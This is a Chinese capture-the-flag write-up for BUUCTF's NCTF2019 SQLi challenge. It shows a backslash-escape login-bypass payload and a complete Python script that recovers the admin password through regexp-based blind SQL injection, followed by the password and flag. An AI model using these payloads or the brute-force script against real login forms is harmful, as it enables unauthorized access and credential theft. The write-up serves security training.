【BUUCTF】[NCTF2019]SQLi

进入题目页面如下

是一个登录界面

尝试万能密码,错误

使用dirsearch目录扫描

发现robots.txt文件

访问robots.txt,发现hint.txt

里面提示了过滤的关键字

下面这行代码的意思是如果 `$_POST['passwd']` 等于管理员的密码, 那么你将获得标志(flag)

根据题目可以得出这是字符型注入,但是 ' 也被过滤

看到过滤了很多关键字,但是转义符好像没过滤,可以利用转义符构成闭合语句

passwd=||/**/1;%00&username=\

得到welcome.php文件

再看过滤了很多函数,但好像没有过滤regexp尝试regexp函数

脚本爆破密码

python 复制代码
import requests
from urllib.parse import unquote
import string

def regexp_guess():
    guessed_result = ""
    possible_characters = string.ascii_lowercase + string.digits + '_'
    target_url = "http://ed141fe7-706a-4558-bb83-02e719516467.node5.buuoj.cn:81/index.php"
    for length in range(1, 100):
        for char in possible_characters:
            current_guess = guessed_result + char
            payload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format(current_guess, unquote('%00'))
            data = {
                "username": "\\",
                "passwd": payload
            }
            response = requests.post(target_url, data=data)
            if "welcome.php" in response.text:
                guessed_result = current_guess
                break
        print(guessed_result)

if __name__ == "__main__":
    regexp_guess()

代码解释

requests 用于发送 HTTP 请求

unquote 用于 URL 解码,string 用于获取特定的字符集合

定义了一个名为 regexp_guess 的函数

guessed_result 用于存储逐步猜测得到的结果,初始为空字符串

定义了可能用于猜测的字符集合,包括小写字母、数字和下划线

发送请求的目标 URL

外层的 for 循环控制猜测结果的长度,从 1 到 100

内层的 for 循环遍历可能的字符

current_guess 是当前正在猜测的字符组合,通过将新字符添加到之前的猜测结果形成

构建 payload ,这是用于发送请求的特定格式的数据

构建 data 字典,包含用户名和密码(即 payload )

使用 requests.post 向目标 URL 发送 POST 请求,并将响应存储在 response 变量中

如果响应包含 "welcome.php" ,说明猜测是正确,更新 guessed_result 跳出内层循环

条件下调用 regexp_guess 函数来执行整个猜测过程

得到密码

you_will_never_know7788990

用密码登录得到flag

最终的得到flag

相关推荐
StarPrayers.11 小时前
损失函数(Loss Function)、反向传播(Backward Propagation)和优化器(Optimizer)学习笔记
人工智能·笔记·深度学习·学习
江湖人称小鱼哥12 小时前
WSL + Docker 网络访问详解
网络·docker·容器·wsl
FreeBuf_13 小时前
Spring两大漏洞可导致泄露敏感信息及安全防护绕过(CVE-2025-41253/41254)
java·安全·spring
明月56613 小时前
github开源笔记应用程序项目推荐-Joplin
笔记·开源·joplin·跨平台笔记应用
YuCaiH13 小时前
网络编程的基础知识
linux·笔记·嵌入式·网络通信
m0_6896182813 小时前
突破亚微米光电子器件制造瓶颈!配体交换辅助打印技术实现全打印红外探测器
笔记·制造
☆璇14 小时前
【Linux】Socket编程UDP
linux·网络·udp
南一Nanyi14 小时前
才知道 DNS 还能基于 HTTPS 实现!
网络协议·安全·面试
真正的醒悟15 小时前
什么是网络割接
运维·服务器·网络
Bruce_Liuxiaowei15 小时前
Win7虚拟机加入域错误排查指南:解决无法启动服务问题
运维·网络·windows·安全·网络安全